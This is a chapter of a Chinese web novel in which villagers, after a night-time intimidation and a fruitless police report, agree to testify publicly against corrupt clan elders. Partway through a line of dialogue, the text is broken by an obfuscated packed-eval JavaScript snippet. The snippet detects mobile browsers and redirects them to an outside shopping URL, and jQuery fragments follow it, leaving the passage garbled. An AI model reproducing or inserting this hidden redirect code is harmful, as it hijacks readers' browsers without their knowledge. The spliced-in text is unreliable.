87. 第87章

作品:《谁在点睛

    那一夜的煤油灯,终究是亮到了天明。


    我睁开眼时,天已蒙蒙亮。


    我起身走到堂屋,张泰德合衣躺在藤椅上睡着了。也许是昨夜太长,消耗了很多精力,他睡得很沉,仔细观察时,五官显出一种少年人才有的干净。


    我轻手轻脚地拿起他滑到地上的薄被,想替他盖上。可被子刚碰到他,他就睁开了眼睛。


    那瞬间的眼神是警觉的,但在看清是我后,换成了温和的清明。


    “天亮了。”他坐起身,揉了揉太阳穴。


    “你该多睡会儿。”


    “已经够了。”他站起身,“走吧,我们去镇上。”


    村里静得出奇,连狗叫声都听不见。空气里浮着一层薄雾,湿漉漉的。


    张泰德推着自行车,跟在我身侧。车轮碾过土路,发出单调的吱呀声。走出村口时,他忽然说:“那张黄纸,我收起来了。”


    “嗯。”


    “上面的符号,我好像在哪儿见过。”他顿了顿,“等会儿去镇里图书馆查查资料,有些老东西,书本上会有记载。”


    我们走得早,到镇派出所时,大门才刚刚打开。值班的是个年轻民警,打着哈欠听我们说完,眉头皱了起来。


    “你是说,有人趁夜进了你家,翻了东西,还留了符?”


    “是。”


    “丢什么了?”


    “没丢值钱的,但他们留下了这个。”张泰德从包里取出用油纸包好的黄裱纸,展开在桌面上。


    年轻民警凑近看了看,啧了一声:“这画的什么鬼画符。”


    “是警告。”张泰德说,“我们最近在查村里的旧账,触动了某些人的利益。”


    民警抬起头,仔细打量了我们一会儿:“张兴村的?”


    “是。”


    “你们村……”他欲言又止,最后摆摆手,“这事儿我知道了。入室行窃未遂,还搞封建迷信恐吓,性质恶劣。这样,我记录一下,回头派人去村里走访。”


    “什么时候能去?”我问。


    “这得安排。”民警低头开始写笔录,“所里人手紧,你们村又偏,最快也得后天。”


    从派出所出来,太阳已经升得老高。镇子街道上渐渐有了人声,早点铺子冒着热气。张泰德在街边买了两个烧饼,递给我一个。


    “先吃点东西。”


    我们站在街角,默默吃着烧饼。饼是粗粮的,嚼在嘴里有点拉嗓子。我咽下最后一口,忽然说:“他们不会来的。”


    张泰德转过头看我。


    “派出所的人,不会去村里。”我说,“就算去了,也问不出什么。村里人会告诉他们,什么也没发生,是我自己疑神疑鬼。”


    “为什么这么肯定?”


    “因为那是张兴村。”我看着街上逐渐多起来的行人,“在村里人看来,这不是‘案子’,这是‘村里的事’。村里的事,就该村里自己处理。外人插手,只会让事情更麻烦。”


    张泰德沉默了很久,手里的烧饼他已经忘了吃,只是捏着,捏得有些变形。


    “那就按村里的规矩来。”他终于说。


    我愣住:“什么?”


    “既然他们用村里的方式警告我们。”他将烧饼塞进嘴里,用力咀嚼,咽下,“我们也用村里的方式,把该算的账,算清楚。”


    回村的路上,我们没再说话。但某种默契,在那个沉默的路途中悄然生长。


    我知道他在想什么,查到的那些账册,那些被抹去的名字,那些不翼而飞的粮食和布匹,不能再只是纸上的数字了,它们必须变成能砸在人脸上的东西。


    回到村里已是晌午,朱阿绣等在村口,看见我们,快步迎上来,脸色发白。


    “怎么样?”


    “备案了。”张泰德说,“但派出所最近忙,得等安排。”


    朱阿绣眼里刚亮起的光又黯了下去,她咬了咬嘴唇,压低声音:“昨晚的事,村里都传开了,虽然大部分都是向着我们的,但有些留下来的余孽将话说的很难听。”


    “说什么?”


    “说……说白小姐屋里招了不干净的东西,自己把家翻乱了,还倒打一耙。”朱阿绣的声音越来越低,“还有人说,看见张同志经常出入你家……”


    我闭了闭眼,果然,他们走了,但眼线和手段仍然是旧的。


    “谁传的?”张泰德问。


    “不知道最先是谁说的,但被几个嫂子听到了。”朱阿绣急得眼圈发红,“他们说话太难听,传话的嫂子们都有些忍不住。”


    “没事。”我拍拍她的手,“意料之中。”


    “可是……”


    “阿绣。”我打断她,“你去把姑娘们都请到我家,就说,我有要紧事商量。”


    “现在?”


    “就现在。”


    朱阿绣看了看我,又看了看张泰德,一咬牙,转身跑开了。


    推开院门,屋里收拾的已经很干净了。


    “你刚才说的‘村里的方式’,是什么意思?”我看向张泰德。


    他看向堂屋正中那个香炉,三炷倒插的香还竖在那里。


    “他们用这种方式警告,是想让我们怕。”他说,“怕了,就会停手,就会退。那如果我们不退呢?”


    “他们会用更狠的手段。”


    “那就让他们用出来。”张泰德走到供台前,“躲在暗处使绊子,最难防。可如果逼他们站到明处,反倒好对付。”


    “怎么逼?”


    他转过身,看着我:“把账,公开算。”


    午后,朱阿绣带着姑娘们来了。还有些人,都是前些日子私下里找过我们,说过族老那边犯事了的人。


    我把门关上,转身面对他们。


    “昨晚的事,大家都听说了。”我开门见山,“派出所备了案,但等他们来查,不知道要等到什么时候。这期间,还会发生什么,谁也不知道。”


    屋里一片死寂。


    “我们……”其中有姑娘问道,“白小姐,有什么事是需要我们去做吗?”


    “我想请你们……”我说,“把之前跟泰德说过的话,再说一遍。不过这次,不当着他一人的面说。”


    “当着谁的面?”一个头发花白的婶子颤声问。


    “当着全村人的面。”


    屋里炸开了锅。


    “这怎么行!”


    “不行不行,要出人命的……”


    “我家里还有孩子……”


    张泰德抬手,示意大家安静。他走到屋子中央,目光缓缓扫过每一个人。


    “叔。”他看向之前询问过的中年汉子,“你上次说,亲眼看见张洪家闺女招娣出事那天晚上,二族老家的三小子从后山跑回来,衣服上有血。这话,你敢当着张洪的面再说一次吗?”


    男子听了脸立刻白了,嘴唇哆嗦着,说不出半个字。


    “王婶。”张泰德转向那个头发花白的妇人,“你说你侄女前年被登记‘病故’,可你前一天还见她好好的,第二天人就没了,棺材都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286349|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没让看就下葬了。这话,你敢当着所有人说吗?”


    王婶捂住脸,哭出声来。


    “我知道你们怕。”张泰德的声音不高,却每个字都敲在人心里,“我也怕,但怕有用吗?怕,那些被贪掉的粮食就能回来?怕,那些不明不白没了的人就能活过来?”


    他停顿了一下,从随身的帆布包里取出那叠账册的抄录本,一页页翻开。


    “这是五年前的秋粮入库账,短了四十石。这是前年的布匹发放记录,二十匹布霉烂了。这是十年前的人口册,这一页被撕过又粘上,几个女人的名字没了。”


    他将纸页举起来,对着从窗户照进来的光,那些字迹在光线下无所遁形。


    “各位,这些东西,就白纸黑字地躺在这里。它们不说话,但它们都记得。记得是谁的手拿走了不该拿的,是谁的笔抹掉了不该抹的。”


    “对,现在,那些人走了,可这些东西还在。他们人不在,可他们的手,还在伸。”我指向香炉,又指向了眼前的每一个人,“昨晚那三炷倒插的香,就是那只手。它这次是警告,下次呢?下次它会伸向谁?伸向你?还是伸向你?还是伸向你们家里的孩子?”


    屋里鸦雀无声,只有粗重的呼吸,和压抑的哽咽。


    “我们不是要你们去做傻事。”张泰德继续说道,“我和白濯心只是想请你们,同当年反抗那些人一样,重新站在一起。一个人说话,声音小。两个人说话,声音也不大。可如果我们这些人,一起把知道的说出来,那声音,就够响了。响到所有人都能听见,响到那只藏在暗处的手,不敢再随便伸出来。”


    他走到中年男子面前,看着他的眼睛:“叔,你闺女今年该有十六了吧?在镇上读中学,成绩很好,老师说能推荐她去县里的师范。”


    男子猛地抬起头,眼里满是惊恐。


    “你放心,我没跟任何人提过。”张泰德说,“我只是想说,你闺女以后会有大出息。可如果张兴村还是现在这样,她就算考上了,又能走多远?那些手,会不会有一天也伸向她?”


    男子听了,眼神紧了紧,接着他张了张嘴,最终,重重地、缓缓地点了点头。


    张泰德又看向王婶:“王婶,你侄女要是还活着,今年也该嫁人了吧?你每年清明去给她上坟,心里是什么滋味?”


    王婶的哭声停了,她放下捂着脸的手,那双浑浊的眼睛里,有什么东西在一点点烧起来。


    我看向了曾经被迫深陷苦难的姑娘们:“我们努力了这么久,不就是为了能让自己在这个村子有一席之地,不再受人牵制,不让自己的孩子,甚至后代成为这个村子最沉重的牺牲品。我们即使赶走了村子的毒瘤,但该努力的路,仍道阻且长。”


    一个,两个,三个……屋里的人,眼神都变了。恐惧还在,但恐惧底下,有另一种更滚烫的东西在翻涌。


    那是憋了太久的委屈,是咽了太久的冤,是眼睁睁看着自己,看着亲人被吞噬却无能为力的恨。


    “好。”最先开口的是春梅,她走到我面前看着我,“我说,当着全村人的面,我也敢说。”


    哑女紧跟着她,站起了身。


    “我也说。”随后,中年男子和王婶站了起来。


    “算我一个……”


    “还有我……”


    随着满屋的声音交织在一起,防空洞那夜聚齐的声音再次重现。张泰德看着我,轻轻点了点头。我走到他们面前,深深鞠了一躬。


    “谢谢,为了自己,也为了我们。”